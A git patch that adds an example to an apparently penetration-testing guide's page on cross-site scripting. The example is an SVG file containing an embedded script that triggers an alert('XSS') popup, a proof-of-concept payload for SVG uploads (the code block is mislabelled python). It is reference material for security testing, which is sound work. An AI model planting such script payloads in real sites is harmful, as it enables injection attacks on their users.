From 812b84171f47418bde14095dc242bf1fffee6088 Mon Sep 17 00:00:00 2001
From: CPol <carlospolop@gmail.com>
Date: Fri, 22 Jan 2021 11:00:52 +0000
Subject: [PATCH] GitBook: [master] one page modified

---
 pentesting-web/xss-cross-site-scripting/README.md | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/pentesting-web/xss-cross-site-scripting/README.md b/pentesting-web/xss-cross-site-scripting/README.md
index 73bec436c..9b6054b38 100644
--- a/pentesting-web/xss-cross-site-scripting/README.md
+++ b/pentesting-web/xss-cross-site-scripting/README.md
@@ -775,6 +775,17 @@ Content-Type: image/svg+xml
 </svg>
 ```
 
+```python
+<?xml version="1.0" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
+<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
+<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
+<script type="text/javascript">
+alert("XSS");
+</script>
+</svg>
+```
+
 ## Other JavaScript tricks
 
 ### JavaScript Comments